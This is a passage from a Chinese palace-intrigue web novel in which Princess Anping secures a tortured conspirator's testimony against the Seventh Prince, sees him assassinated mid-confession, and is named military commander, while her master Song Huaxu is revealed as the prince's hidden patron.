燕晚清冲着他点了点头,拾阶而上,走到了大殿之内。 只看见皇帝面色深沉的坐在高位之上,没有皇后张岚依的身影。 地面上跪着一个浑身是血的人,燕晚清认得,是吴城南。 七皇子一脸虚弱的坐在旁边的椅子上,边上站着的是一脸担忧的李呈媛。 真热闹。 就是不知道皇帝喊她过来做什么。 “见过陛下,陛下万岁万岁万万岁。”燕晚清不用行跪拜礼,她低着头沉声说道。 皇帝点点头:“嗯安平来了。” “陛下急招,可是有什么事情?”燕晚清一脸疑惑的问道。 皇帝双眼眯成了一条长线:“今夜朕的铁甲军抓到了几个行踪诡异的人,这个人之前是太子的门客,眼下又投奔到了老七门下,这是他的证词,安平你向来最有主意,帮朕看看,他可有说谎。” 证词被公公双手捧着,送到了燕晚清的面前。 燕晚清双手接过,上面是吴城南今夜的行动,上面依稀沾染着血滴,落款最后是一个鲜血淋漓的手印。 看来这段时间吴城南受了不少折磨。 七皇子显然是刚刚清醒,此时面色难堪的低着头不知道在想什么,只有李呈媛一脸愤慨的看着跪在地上的吴城南,表情义愤填膺。 皇帝坐在高位上,一言不发,表情一如既往的高深莫测。 燕晚清快速将众人的表情都过了一遍,心中已经有了大致的一个推算。 吴城南的证词上已经将今夜的行动交代了清清楚楚,他带着人是打算直接围住皇帝的寝宫,但是没有想到姜还是老的辣,被提前察觉的皇帝早早的将周围的御林军换上了自己的铁甲军,所以这也是为什么今夜吴城南迟迟没有动手的原因,与他交接的人早就死在了铁甲军的手里,所以根本没有办法前来通风报信。 上面唯一没有交代的是,他到底是受了谁的旨意。 吴城南被打的死去活来,却依旧没有说出幕后主使。 所以这才有了今日七皇子被抬着床榻到了殿前的原因吧。 杀人要诛心。 皇帝就是要萧鸿深一直恐惧。 只是这件事和自己有什么关系? 燕晚清脑海中闪过几个推算。 不应该。 她做的事情极其隐蔽,何况此时的柴右已经被否极送往了远方,这一点她十分笃定。 但是眼下她还不能掉以轻心,静观其变吧。 想到这里燕晚清说道:“回禀陛下,按照证词来说,此人确实之前是太子殿下的门口,眼下他投靠七皇子,却犯下如此大错,说是没有幕后之人,这可能也没有人会相信,此人死咬着不松口,定是那幕后之人对他做出了什么承诺或者是威胁。” “那依照你的意思,应该如何?刑部的大刑都已经用了个遍,十根手指也只剩下了两根小指,依旧死不松口,朕也是没有了法子,才唤你过来,当年你在战场上俘虏了那么多间谍,每个都对你言听计从的,快看看有没有什么办法。”皇帝揉了揉眉心,身边的公公很有眼力劲儿的上前,帮他揉了揉脑袋。 皇帝叹了一口气:“眼下时间也不早了,老七也深受重伤,若是能够让此人开了口,大家也能早些回去休息。” 话是这么说的。 可是燕晚清分明感受到一直低着头的萧鸿深突然看向了自己。 那目光宛如要杀人一般,充满了警告。 燕晚清眼底闪过了嘲讽。 “安平多谢陛下看重,那么此人便交给安平吧。”她对着皇帝说道。 皇帝点点头,挥手让人将那浑身是血的吴城南拖拽起来:“隔壁给你准备了房间,你速战速决,朕乏了。” 燕晚清低头:“诺,不会让陛下久等的。”说着她转过身去,就要迈出门去的时候,身后传来李呈媛的声音。 “陛下,臣女对于审问也略知一二,不知能否准许臣女和安平郡主一起——” “胡闹!”没有想到皇帝直接斥责:“女子一向不允许插手国事,你父亲就是这般教导你的?!” 李呈媛从来没有见过皇帝大发雷霆,当下吓得小脸发白,赶紧跪在了地上。 不过她心里依旧是不服气:“那安平郡主也是女子啊。” 皇帝直勾勾的盯着她看:“你这是要跟朕唱反调?” “瑶池不敢。”李呈媛不敢再说话了。 门口的燕晚清微微勾唇,侧过脸毫不避讳的朝着那李呈媛露出一抹满是讽刺意味的笑容,气得李呈媛双眼几乎冒火光。 她说的又没错。 燕晚清怎么就不是女子了? 为何皇帝要让她去审问烦人?! 不过就是个七皇子登基路上的垫脚石,凭什么这般得意。 李呈媛心里憋着一口气,皇帝也迟迟不让她起来,她跪在地上没多久就膝盖生疼,又不敢说话,心里叫苦连天。 将求救的目光放在七皇子身上,李呈媛对着他柔柔弱弱的笑了笑。 萧鸿深想到了今夜李呈媛以一人之身挡在自己面前的画面。 心里不知怎的,软了几分。 他硬着头皮对皇帝说道。 “父皇,儿臣伤口疼痛难忍,可否让瑶池县主起身为儿臣换药?” 皇帝听见萧鸿深开口,沉默半饷,抬了抬手。 李呈媛见状赶紧起身走到了萧鸿深身边,面色紧张的替他换药起来。 “殿下,等下若是觉得疼痛难忍,你便和瑶池说。” 这等细碎的话在大殿之内响起来,当着皇帝的面,萧鸿深还是有些面色难堪的,但是没辙他还是点了点头。 如此情况,他也顾不得这些。 眼下他的心思都在隔壁。 只希望吴城南知道自己什么应该说,什么不应该说。 他眼里闪过了残忍。 别到时候说了不该说的,连累了他的宗族。 隔壁。 燕晚清端坐在椅子上,手里甚至还端着一盏茶水,她对着眼前已经人不人鬼不鬼的吴城南说道。 “可要喝茶?” 第一百六十二章 岂有此理,灭口 吴城南记不得自己究竟被折磨了多少道刑法,只知道惨烈的叫声不断的从自己的嗓子里嘶吼出来,一直到自己喊不出来为止。 眼下身上的伤口被简单处理过,已经不再流血了。 可是他自己心里清楚,这也不过是为了让他能够活着听皇帝问话,免得自己提前死了,惹怒皇帝而已。 可是还不如直接死了算了。 吴城南这样想到。 突然听见一声温柔又清冷疏离的女儿声,他下意识的抬头,便看见燕晚清低头正在注视着他。 安平郡主…… 吴城南认出来了。 燕晚清见吴城南不吭声,又耐着性子问了一遍:“渴不渴,可要喝茶?” 吴城南点点头,干裂的嘴唇让他此刻需要茶水的润泽。 燕晚清见状将茶盏端到了他的嘴唇边上,吴城南用鲜血淋漓的两个肉球想要来捧住杯盏。 “本郡主喂你便是。”燕晚清说道。 吴城南顾不得感谢,就着燕晚清的手,将一盏茶喝的干干净净。 一盏茶下肚,他感觉自己终于舒缓了几分,眼中不由得有些热泪盈眶起来。 燕晚清叹了一口气,将杯盏放在案几上。 “本郡主知道你是受了七皇子的授意。” 这句话一说出来,吴城南张了张嘴,他没吭声。 “不说也没有关系,你说不说陛下心中都有主意。”燕晚清继续说道:“眼下只需要陛下觉得谁应该是主谋,那么谁就是。” 面对吴城南的沉默,燕晚清一点都不意外。 “本郡主知道你心中充满了疑惑,只是眼下你只有一条路能走,咬死七皇子,就是你唯一能够走的那条路。” 吴城南摇了摇头,紧接着他开始疯狂摇头。 他不能去咬七皇子。 七皇子手里捏着他们老吴家那么多人的性命,他若是直接说出来,下一秒老吴家便会人头落地。 这是万万不能说的。 “这件东西相信你一定不陌生。”燕晚清从袖口掏出来一个香囊,上面绣着一个很可爱的老虎头。 吴城南一看见这个,双眼的泪水终于忍不住流了出来。 “郡主……你是如何……”如何获得的。 沙哑几乎分辨不出话语的嗓音在静谧的房间内响起,宛若石头在地面上粗粒的摩擦。 燕晚清轻叹一声:“人已经全部转移到了安全的地方。” 吴城南咬着干裂的嘴唇,他目不转睛的盯着燕晚清的脸,想要搞清楚她这么做的目的,为什么要帮他? 今日发生的一切都是突如其来的。 七皇子有了谋反之心是临时起意,他也是临危受命。 那么燕晚清是如何能提前从他奶奶的手里获得这个虎头香囊,又是如何预判到今夜他会落到如此境地的。 吴城南看着面前这个看似柔弱的女子,她的面色十分苍白,可是那双看似谁都不放在眼里的水眸里,后面竟然承载着谁都没有发现的惊涛骇浪。 他们远远低估了安平郡主的城府,以及她运筹帷幄的能力…… “你自己也看出来了,七皇子将你作为弃子,而陛下希望从你嘴里听见你的指证,眼下你没了后顾之忧,难道就不想狠狠的报复他萧鸿深么?”燕晚清循循善诱。 她将袖子里的虎头香囊掏出来,吴城南伸出残肢去托住。 “……我答应郡主去指证七皇子。”吴城南说道:“不过不是因为别的,我想在临死之前再求郡主一件事情。” “你说。” “希望郡主在自己的能力范围之内,护住李家嫡长女李呈祥。”吴城南一字一句的说道。 本以为他所求关乎自己,可是燕晚清没有想到竟然是为了李呈媛。 吴城南所受酷刑,已经命不久矣,此时不过是靠着一些汤药强行吊着性命,倘若是这股子劲儿过去了,那么人也会回天乏术。 人之将死其言也善。 燕晚清叹了一口气:“本郡主答应你。” 吴城南听罢,心里明显放下了一个重担。 脑海中闪过与李呈祥在一起的画面,他继续用沙哑的嗓音说道:“……她为人善良,不是那李呈媛的对手,以后在李家过得会越发的艰难,当初是我不识好歹,辜负了她,她不原谅我也是理所当然……我心里也不会去怨恨她,不知道我死后,她会不会过来看我。” 燕晚清心中酸涩,她撇开眼去。 “你现在随本郡主前去大殿,兴许还来得及。” 吴城南点了点头,燕晚清便推开门,外面是等候多时的公公。 见燕晚清出来了,他疑惑的抬头。 燕晚清点了点头:“招了。” 公公面上一喜:“不愧是安平郡主,就是厉害,刑部那几个人轮流审问了一晚上都没有问出来,郡主不过是一盏茶的功夫,便让人张了口。” 燕晚清不想为这点恭维的话耽搁了功夫,于是说道:“麻烦公公快些,陛下还等着呢。” 公公连忙招呼着人屋内的吴城南拖拽出来,在地上拉出一条长长的血痕。 燕晚清移开了视线,跟了上去。 大殿之内的七皇子和李呈媛一看见燕晚清进来,目光都带着不善。 此时皇帝满脸阴沉:“招了?” 吴城南低着头匍匐在地上:“草民有罪,草民——” “父皇!”萧鸿深突然挣扎着从软垫上下来,他几乎是滚落到地上,摔得四仰八躺的吓坏了身后的李呈媛。 李呈媛赶紧将人扶起来。 皇帝盯着萧鸿深,双眼阴翳:“你这是做什么?” 萧鸿深跪在地上:“儿臣有话要说。” “你的话待会儿再说。”皇帝摆了摆手,将目光重新放在了吴城南身上:“你先说,这幕后之人到底是谁。” 吴城南心中铿锵作响,他下定主意将头磕在地上:“回禀陛下,是七——” 燕晚清突然瞳孔骤缩,宫殿外面一道箭羽夹杂着势如破竹的劲风直奔地上的吴城南而去,她甚至根本来不及出手,便看见那道箭羽穿过了吴城南的脑袋,将其死死的定在了地面上! “有刺客,救驾——!”伴随着公公的一声尖叫,殿内瞬间涌进来一批铁甲军。 皇帝站起来,一巴掌推开了拦在自己面前的太监。 他走到了吴城南的面前,只看见一滩浓稠的血水逐渐在地上滩开来,流到了他的脚边上。 皇帝抬起脚往后退了两步。 此时铁甲军首领伸出手试探了一下吴城南的鼻息:“陛下,人没了。” 皇帝阴沉的一张脸,重重的伸出手拍在了案几之上。 “查!给朕查!岂有此理!竟然敢杀人灭口!” 第一百六十三章 开先例,女子为帅! 大殿之上,吴城南被一支穿云箭直接刺穿了脑袋,将整个人钉在了地上,死相凄惨,十足让人震惊。 皇帝为此大发雷霆,铁甲军全部出动,将整个避暑山庄全部包围,挨家挨户的开始搜寻,人人自危。 大殿之上,鸦雀无声。 燕晚清低头看着地上的吴城南,他的一双眼一直睁着。 他想睁开眼看看最后李呈祥究竟有没有过来看自己吗? 燕晚清撇开眼,不忍心再看。 他的死,是命中注定。 只是却没有想到会以这种死法。 有人故意要堵住吴城南的嘴。 “安平你来说,幕后黑手究竟是谁!”皇帝一双眸子落在了燕晚清身上。 燕晚清双手作揖,弯下了半截脊梁。 “回禀陛下,是七皇子。”她毫不犹豫的直接开口,话音刚落便听见有人叫嚷出口。 李呈媛尖声说道:“怎么会是七皇子殿下!这一晚殿下都与瑶池呆在一处,安平郡主可不要血口喷人。” 皇帝一言不发。 燕晚清慢慢站直了身子,她看向了李呈媛:“本郡主只是在陈述刚刚罪人吴城南的话,并没有刻意要针对七皇子的意思。” 李呈媛咬牙切齿:“反正现在人已经死了,你说什么都死无对证,谁知道你是不是为了报复七皇子殿下,故意来抹黑呢。” “瑶池县主,脑子是个好东西,本郡主希望不只是有,还得用。”燕晚清冷笑道。 被当着皇帝和七皇子被骂没有脑子的李呈媛,心里的怒火节节攀高:“你不要仗着陛下信任你,就满口胡言,这是**裸的污蔑!” “是不是污蔑,陛下圣明,心中自有定数,轮不到你在这里对着本郡主说三道四。”燕晚清丝毫不惯着李呈媛。 “你——!” “够了!”皇帝沉声说道。 李呈媛瞬间噤声。 皇帝看着燕晚清,似乎正在思索她话语中的可信度,过了好半饷,他看向刚刚让闭嘴的萧鸿深:“你还有什么话要说?” “儿臣……”萧鸿深跪在地上,李呈媛见状跟着他跪下。 “儿臣怎会有如此大逆不道的想法,这根本是不可能的事情,父皇英明,这件事情一点就是个彻头彻尾的阴谋啊父皇。”萧鸿深大声为自己辩论道。 若是说之前吴城南没死,他还心中忐忑的话。 眼下吴城南已经死的透透的了,死无对证,他也就有了几分能够为自己争辩的胜算。 听着萧鸿深的话,皇帝慢慢坐回了椅子上。 就在萧鸿深心中得意自己终于能够洗脱嫌疑的时候,只见皇帝猛地重重的拍了一下案几。 大殿之内的人几乎全部跪在了地上,只有燕晚清站的笔直,低着头。 “陛下息怒。” 皇帝冷笑两声,目光落在了萧鸿深身上:“你当朕是三岁小孩不成?!你可是朕的儿子,你心里打着什么算盘,朕的心里能不清楚吗?!” “父皇,儿臣冤枉啊——”萧鸿深顾不得身上的疼痛,在地上跪着前进,一路爬到了皇帝的腿边上,他扯着皇帝的衣角:“就是给儿臣一万个胆子,儿臣也不敢啊,父皇不要听信别人的一面之词,这件事情本身后面就藏着阴谋。” “阴谋?”皇帝嗤笑道:“眼下大渭内忧外患,你身为皇室子弟,不为国家效力,却痴迷于权谋,简直是可笑至极!” 萧鸿深被劈头盖脸的一通骂,不敢吭声反驳。 皇帝见状又说道:“朕是年纪大了,但是不傻,你心里有几分小心思,朕还是看得出来的,朕还没死呢,你究竟在急什么!” 萧鸿深彻底不敢吭声了。 他身子抖了好几抖,身后的李呈媛吓得更是面色苍白,平日里巧舌如簧的她,此刻跟个小鸡儿似的,只知道打摆子,连抬头看皇帝的胆子都没有。 大殿之内一时之间再次雅雀无声。 “传朕旨意。”皇帝一脚踹翻扒着自己不放的七皇子萧鸿深,大手一挥,身边的公公赶紧过来。 “西部战乱,七皇子临危受命,率三千铁骑不日出兵支援,不得有误,此为军令,若违军令,斩!” “陛下,安平请旨一并前往!”燕晚清骤然清声说道。 皇帝扫过去:“你也要去?” 燕晚清单膝跪在地上,目光坚定:“安平自小便有上战场的能力,眼下又是朝廷用人的时候,安平身为燕家女,自然是不能退缩的,七皇子深受重伤尚且能够亲上战场,安平斗胆请陛下恩准,平定西部战事之后,准许安平率军讨伐雁门关,夺回我大渭疆土!” “大渭从未有过女子率军出征的先例!”萧鸿深不淡定了。 皇帝冷笑一声:“女子尚且愿意请令出征讨回疆土,你呢?” 萧鸿深低头:“儿臣有罪。” “你罪大了去了!”皇帝越看他越不顺眼,此刻恨不得他直接死在外面别回来才好,于是对着燕晚清说道:“燕家果然没有一个人是孬种,朕的镇国公生了个好女儿啊!” 他欣慰的点了点头,又说道:“那朕便给你一万大军,命你为主帅,先平西部,再收雁门关,安平你可敢接旨?!” 燕晚清脊梁挺得笔直,目光灼灼:“安平领命,定不负陛下所托,收回我大渭疆土!” “好!如此气概,天下男儿又有几个能够做到!”皇帝起身朗声笑道,走到了燕晚清的面前,扶着她慢慢起身,声音变得柔和:“朕知你气概,只是你的身体一直都不太好,眼下战事连绵,你可会吃力?” “陛下无需担忧,安平已经好很多,昨日还能舞剑呢,陛下忘了?”燕晚清低眉顺眼的说道。 皇帝一下子就回忆起燕晚清昨日舞剑的情景,不过却不是她的游刃有余,而是她四下无人的时候偷偷用帕子捂着唇吐了一口鲜血的样子。 皇帝眼中闪过了一抹意味不明。 他伸出手拍了拍燕晚清的肩膀:“好,安平真乃女中豪杰,朕心甚慰啊,比朕这个不成器的儿子好的太多了。” 萧鸿深跪在地上,听到这话,双手忍不住攥成了拳头。 他一定会从战场上回来的。 等到他回来了,他要拿回属于他的一切! 燕晚清自然注意到萧鸿深的神态,她唇角轻轻的勾了一下,很快消散。 这一路上,她一定会好好的关照萧鸿深的。 第一百六十四章 打伤你的人,是熟人 燕晚清深知皇帝一旦下定了注意,便不会再改了。 所以当天晚上哪怕是听到了满朝文武悉数跪在殿外过夜,她也没有丝毫的担忧。 大渭从未有女子为帅的先例。 可是眼下除了她燕晚清敢站出来,满朝文武又有谁敢站出来呢? 不过是一群拿着朝廷俸禄的酒囊饭袋。 柴右此时已经被她先一步送到了雁门关,等到她过去之后,相信依照柴右的能力,一定能够将事情查了七八分。 从大殿之内走了出来。 燕晚清看着宛若丧家之犬的萧鸿深,她笑出了声。 这一声可让萧鸿深直接气红了眼。 “你得意什么?” 燕晚清勾唇:“看见你吃瘪,本郡主就得意,毕竟七皇子殿下干的可是大逆不道的事情,陛下没有立刻取你性命已经是仁慈,望你戴罪立功,能够帮助大渭平定战乱。” “本殿只想知道,这件事情究竟有没有你的手笔。”萧鸿深不蠢,他觉得这一连串的事情实在是太过于蹊跷了。 上半夜的时候亚父也跟他说落入了圈套之中。 眼下萧鸿深冷静下来,只觉得一切都有迹可循。 比如现在迟迟没有现身的柴右。 就是他第一个怀疑的对象。 不过这一切现在说已经晚了。 燕晚清丝毫不掩饰眼里的恨意,她直勾勾的盯着萧鸿深说道:“有如何,没有又如何?眼下一切都已经成了定数,出了这里,本郡主就是你的上级,往后还希望七皇子改改你的反骨,不要胡乱顶撞才好,本郡主可没有陛下这般仁慈之心,对你一忍再忍,往后在军营里,希望七皇子殿下知道什么叫做军令如山,以及违令者斩立决这两句话的意思。” “贱人!”萧鸿深还没有来得及说话,旁边搀扶他的李呈媛不淡定了,她直接开口骂道。 燕晚清冷冷的看着她:“你再说一遍。” “贱人!”李呈媛冷笑:“再说一遍怎么了?你此番落井下石,可不就是贱人吗!军营里都是男子,你身为女子还一个劲儿的往里钻,贱人中的贱人!” “啪——!”回应李呈媛的是燕晚清眼皮不抬的一巴掌。 这一巴掌燕晚清早就想打了。 爽。 李呈媛被她直接扇的歪了脸,面颊迅速红肿起来。 她不敢置信的捂着自己的半边脸,看着燕晚清:“你竟然敢动手打我,我可是陛下亲封的瑶池县主!” “说的谁不是亲封一样。”燕晚清直言不讳:“少拿身份压人,在座的没有一个人是比你身份低微的,你以下犯上,本郡主打你一巴掌已经是亲的,倘若你还是不识趣,那么接着试。” 今夜的燕晚清褪却了身上最后一丝温顺的外衣,整个人充满了攻击性。 她就好像是早早的就在这里等着他下套一样。 萧鸿深眯着眼睛,热风吹在他的身上,整个脑子嗡嗡作鸣,他心气不顺,再加上身上重伤疼痛难忍,眼皮子一翻,竟然直接晕厥了过去。 燕晚清看着他轰然倒在地上,听着李呈媛宛若杀猪般的叫声,舌尖抵着尖锐的小虎牙,露出了一抹意味深长的笑容。 “咱们来日方长。”她抬脚往前走去,不顾身后的人仰马翻。 李呈媛看着她的背影,双眼阴毒。 该死的贱女人,迟早有一天要让她知道什么叫做惹错了人! …… 燕晚清的情绪高昂在回到住处的时候彻底失效,几乎瘫软在地上,好在五妹燕红昭早早的在外面迎接她,这才接了个正着。 燕凌珍顶着一双熊猫眼,从自己的药箱里掏出瓶瓶罐罐,给燕晚清服下。 又是一阵手忙脚乱之后,燕晚清披头散发的坐在桌前,她单手捂着脸,身子颤抖。 燕凌珍心中害怕,上前:“阿姐你……” 走近之后,她才发现燕晚清竟然在笑。 唇角上扬,她颤抖着身子无声的笑着。 “真是爽快!”燕晚清松开了手,双眼都是亮晶晶的:“真是好久都没有这么爽快了!”虽然今夜没有能够杀了萧鸿深,但确实也如她算计的那般,萧鸿深狠狠的脱了一层皮。 失去了军权,还被送去了战场,还是自己的手下。 这件事情,让燕晚清心中十分的畅快。 燕凌珍和燕红昭见她这般高兴,心里也松快了些许,但是想到接下来要发生的事情,又有些担心起来。 “阿姐的身体还没有好,小六能不能跟着阿姐一起去。” 燕凌珍提议道。 燕红昭更是直接说道:“我要在阿姐身边保护阿姐。” 看着俩姐妹争先夺后的要跟着燕晚清,旁边的虚空也不甘示弱:“我也去。” “你凑什么热闹?”燕晚清回过头看见虚空:“不对,你为什么还在这里?!” “没大没小的,什么你你你你的,叫叔叔。”虚空摸了一下锃亮光滑的脑门说道。 燕晚清眼色一冷:“你想死?” 燕凌珍感受着自家阿姐的杀气,赶紧解释道:“事情是这样的阿姐,这位虚空方丈确实是我们的叔叔,这件事情还是让他再说一遍吧。” 虚空原本以为这小丫头要帮自己解释,谁曾想话头又被抛到了自己手里,于是不得已他再次又说一遍自己的身世。 “刚刚说的时候你昏迷,所以没有听得见,后来你醒了,叔叔我又在运功疗伤,所以阴差阳错的这才错过了。”虚空叹了一口气说道。 “你叫什么?”燕晚清突然开口问道。 虚空一脸正色:“燕京。” 燕晚清口中呢喃,这是她前世从未出现过的画面。 难道是因为前世她死得太早了? 燕晚清心中很复杂。 “事情就是这样,现在你能相信我了吗?”燕京说道。 燕晚清蹙眉:“口说无凭。”其实燕京的面容和父亲真的有几分相似,只是燕晚清自己心里复杂,不肯立刻承认。 既然燕京早早的就知道自己的身世,那为何一直不肯露面呢? 哪怕是父兄们下葬的时候,他也不曾出现。 燕京见燕晚清迟迟不说话,便知道这丫头心中在纠结什么。 “你想知道今夜打伤你的人是谁么?” “谁?”说到这个,燕晚清眼里的寒意多了几分。 燕京沉声说道:“这个人你也十分熟悉,他就是你父亲我大哥的好兄弟,你的好师父,宋、化、虚。” 宋化虚?! 燕晚清瞳孔震动。 师父! 第一百六十五章 神出鬼没,高深莫测 “我迟迟不肯露面的原因,也是因为这个人。”谈到宋化虚,燕京眼中依然是有浓浓的忌惮的:“他实在是太高深莫测了,在没有彻底想要摸透他想要干什么之前,我实在没有把握去暴露自己。” 燕晚清想到之前张岚依说,宋化虚曾经去过一次雁门关。 难道这个消息是燕京告诉她的? “那么你现在搞清楚他想要干什么了吗?”燕晚清问道。 燕京沉重的点了点头:“应该**不离十,因为一个女子。” “谁?”燕凌珍突然凑过来自己的小脑袋,她好奇的问道。 燕京继续说道:“七皇子萧鸿深的生母,大渭皇宫里的一名宫女。” “宫女怎么会和师……和他有瓜葛?”燕晚清不解。 “这名宫女原本是江南水乡一户寻常百姓家的女儿,那年皇帝大选,被召进宫内,落选后便当了一名宫女,后来阴长阳错的情况下被皇帝临幸,这才有了七皇子。” 燕京说的这些燕晚清自己也知道。 紧接着燕京又说道:“但是在进宫之前,这名女子曾经救过宋化虚的命,应该算是有过一饭之恩,后来等到宋化虚想要报恩的时候,那名女子已经香消殒命,为时已晚了,从那之后宋化虚还销声匿迹了好多年,这些年应该就是在你的身边教导你吧。” 燕晚清点了点头,事情的始末总算是串联起来了。 “所以萧鸿深身后的人是宋化虚。”如果是他的话,燕晚清倒一点都不质疑上一世自己为何没有算计过萧鸿深了。 她的易容是宋化虚所教,这些年那张苍老的脸一直刻骨铭心。 直到今夜看见那张陌生的脸,燕晚清才真的明白,自己从未看透过宋化虚。 又或者说,谁真的看透过他? 一个下山出世的得道高人,教导了包括太子在内几乎所有的皇家官宦子弟,成了大部分人的师父。 到最后,不过是为了给萧鸿深做嫁衣。 燕晚清轻笑一声。 难怪前世最后萧鸿深登基的时候,朝廷之上无人敢有异议。 那是因为在萧鸿深的身后站着的人,是宋化虚。 “对弈,还真的没有人能够对的过他。”燕晚清开口道。 燕京知道燕晚清的意思,他叹了一口气,有些惭愧:“虽说师出同门,但他是师门中的大师兄,无人知道他究竟是何时入的门,只知道他神出鬼没,高深莫测。” “如果对手是他,那么叔叔你就不能跟着我去战场。”燕晚清眼中闪过思虑:“我有其他的顾虑。” 燕京一点就透:“你是说燕家人和……” 燕晚清点了点头。 她需要有人留下来坐镇,保护母亲和她的姊妹,还有深宫之中看似安全实则波涛汹涌的皇后张岚依。 “没有我,你根本不是他的对手。”燕京叹了一口气。 “他若是真想杀了我,那么今夜便可以取我性命。”燕晚清笃定道:“我不信他不知道我是谁,我的武功招数都是他教的。” 招招凶险看似不留情面,却仍旧没有取她性命。 不然按照他和燕京的打法,自己十条命都不够宋化虚杀的。 所以只能说,宋化虚心中应该还是有其他的想法的。 这个想法,说不定就是他没有一心一意帮助萧鸿深夺取皇位的原因。 眼下皇帝早就是宋化虚的傀儡,靠着一枚丹药便能够让皇帝乖巧听话,更不用说朝中多少官宦子弟都是他的徒弟了。 “他若是想,整个大渭都是他的囊中之物。”燕晚清深刻意识到了这个问题。 燕京听完点头:“你确实透彻,所以现在要摸清楚宋化虚究竟是怎么想的,他的最终目的是什么。” “肯定不只是推着萧鸿深登基这么简单。”燕晚清只觉得周围有一团乱麻,越想她便越想不透。 宋化虚,她的师父。 这个谜一样的男子,究竟在大渭走了几步棋。 每一步,都意味着什么? “所以你得留在京都,看着他的一举一动,我才能安心的在前线带兵打仗。” 燕晚清见燕京没有异议,心里也松了一口气。 本来她还担心自己去了前线,京都这边要怎么办,眼下突然多了个叔叔,好像也不是个坏事。 不过还有件事。 她心里有些难以启齿。 碍于五妹和六妹还在这里,燕晚清不便直接说,只得在心里憋着,等时机成熟再问。 “至于你们两个,安心留在母亲的身边。”燕晚清一锤定音。 燕凌珍一听心里急了,分明之前和阿姐约好了要一路向北的,她还要去游历呢。 看着燕晚清疲惫的神色,燕凌珍咬了咬唇,咽下去自己的话。 “今晚不早了,大家都早点去歇息吧。”燕晚清忍着身体上的疼痛说道。 众人见状也都各自散去,确实今夜发生的事情太多了。 燕凌珍等到所有人都走了,才将自己的药箱提到了案几上。 “阿姐睡之前,让小六给你扎两针吧,不然今天晚上你肯定要疼死的。” 燕晚清是个合格的病人。 对于燕凌珍的话,从来都是言听计从的。 所以她很听话的躺在了榻上,燕凌珍便顶着个熊猫眼给她施针。 等到一套扎下来,燕凌珍已经是满头大汗,天边也慢慢透着晓光了。 燕晚清昏昏沉沉的睡了过去。 燕凌珍见状,也不含糊,直接爬进了床榻里面,抱着自家阿姐的胳膊,也睡了过去。 阿姐身上香香的。 呆在阿姐身边感觉特别的心安。 燕凌珍这样想着。 是她从所未有过的心安。 有人能睡得着,有人却无法入睡。 萧鸿深胸前的伤口让他疼痛难忍,此时被李呈媛处理过的地方已经开始化脓发臭,可是这一切都包裹在纱布下面,没有人知晓。 萧鸿深躺在床榻上一直冒着冷汗,一会发烧一会儿又觉得浑身冰冷。 李呈媛坐在他旁边的椅子上,几乎是一夜没睡。 等到凌晨的时候,她站起身想要换盆水,结果直接被人从后面敲晕了过去。 宋化虚从黑暗中走了出来,没有任何怜悯心的将李呈媛丢在了地上,自己朝着床榻上的萧鸿深走去。 此时萧鸿深的面色已经微微发青。 “愚蠢的女子。”宋化虚直接骂道。 他抬手间,萧鸿深胸前的衣襟悉数变为了齑粉,露出了化脓发臭的伤口。 宋化虚将针线缝合的伤口扯开,在上面撒上了药粉,又塞了一颗药丸到萧鸿深的嘴里,用内力摁在了那伤口之处,伤口竟然以肉眼可见的速度慢慢聚拢在了一起,变成了粉粉的伤口。 第一百六十六章 长期潜伏,就为了昨晚 等到伤口聚合之后,宋化虚才收回了手,额头上有了一层密密的薄汗。 哪怕是他,在这种事情上面,还是有些颇为费力。 “现在你还不能死。”他挥手,薄被被盖在了萧鸿深的身上。 然后他转身离去,看都没有看地上的李呈媛一眼。 等到天光大亮之后,李呈媛头重脚轻地从地上爬起来,才发现自己的裙衫都已经湿透了。 罪魁祸首是地上打翻了的那一盆水。 “已经过去了,难道是太累了?”李呈媛酸胀的后脑勺,结果手一碰她就忍不住疼的叫出了声。 此时门被打开。 墨山推门而入,看到了她这副模样,微微蹙眉。 不过墨山向来不是情绪外露之人,很快便掩盖住自己的情绪,抬脚朝着内室走去。 李呈媛见自己被无视,怒火中烧。 “你这是什么态度?看不见我是吗?没长嘴吗?” 墨山停下脚步回过身来:“奴婢见过瑶池县主。” 李呈媛面色不见好转,她抬脚走到了墨山身边,举起手便狠狠的给了她一巴掌。 “没大没小的贱人,我可是陛下轻点的七皇子皇妃,换言之,就是你的主子,你这样对我,七皇子殿下不会饶了你的。” 墨山被甩了一巴掌,眼中闪过戾色,但是很快她掩盖住。 李呈媛偏偏就注意到了这抹戾色。 她冷笑道:“平日里见你跟个木头桩子似的,今天竟然知道发火了,怎么,心里不服?” 李呈媛见自己的话说完,墨山没有动静,当下又伸出手狠狠的拍了拍墨山的脸:“不服你也得憋着,谁叫你是下人呢,是下人就得有下人的模样。” 墨山低着头不说话。 她只是萧鸿深一个人的属下,也只对萧鸿深一人听命。 眼前的这个李呈媛哪怕成了七皇子妃,没有萧鸿深的命令,也就不能算是她的主子。 “哑巴了?!说话。”李呈媛将自己昨天晚上受得起全部发在了墨山身上,抬脚便对着墨山狠狠的踹了过去。 墨山不是没有躲不过去,但是她依旧没有躲。 因为她发现萧鸿深已经醒了。 既然是这样。 愚蠢的女人。 墨山闭着眼睛忍受了李呈媛的拳打脚踢,直到她发泄完了怒火,墨山依旧倒在地上。 李呈媛冷笑道:“你刚刚不是很横么?怎么不横了啊。” 墨山擦了擦唇角的鲜血,艰难的爬起来跪在了地上:“奴婢不敢,皇妃教训的是。” 听到墨山喊自己皇妃,李呈媛心里舒服了不少。 “算你识相。” 她摆了摆手:“去准备一套干净的衣服送过来,本县主要在这里等着七皇子殿下醒过来。” 墨山从地上蹒跚的爬起来,走出门去。 李呈媛从地上捡起那个盆放在了桌子上,自己缓缓的坐了下来。 虽然说是夏日,浑身湿透不至于让她感觉到冷,但不舒服是真的。 她捧着水盆摔倒在地上,这么大的声音外面都没有人进来,实在是太过分了。 七皇子底下的这群人,根本就没有把她放在眼里。 李呈媛这样想着,便在心里盘算道,一定要找个机会让群下等人好好长长记性,让他们知道谁才是主子。 墨山就是她开刀的第一个。 她就不信,墨山昨晚没有进来看过。 一定是看见了,又当没有看见。 李呈媛越想越气,双手攥成了拳,刚刚自己下手轻了。 那个长的跟个路人甲乙丙丁丫头,凭什么站在自己头上拉屎撒尿?! 她没有想到自己这番面目可憎的神情,悉数落在了萧鸿深的眼中。 他刚刚被李呈媛的打闹声吵醒,但是他没有出声。 哪怕是现在这种时候,他也依然装作昏迷。 只有这样,才能躲避这个聒噪的女人。 不知道为何。 如此多才多艺还听话的李呈媛,他就是喜欢不起来。 只觉得这个女子虚伪的要紧。 她那一身的技艺在他的眼中也都形同虚设。 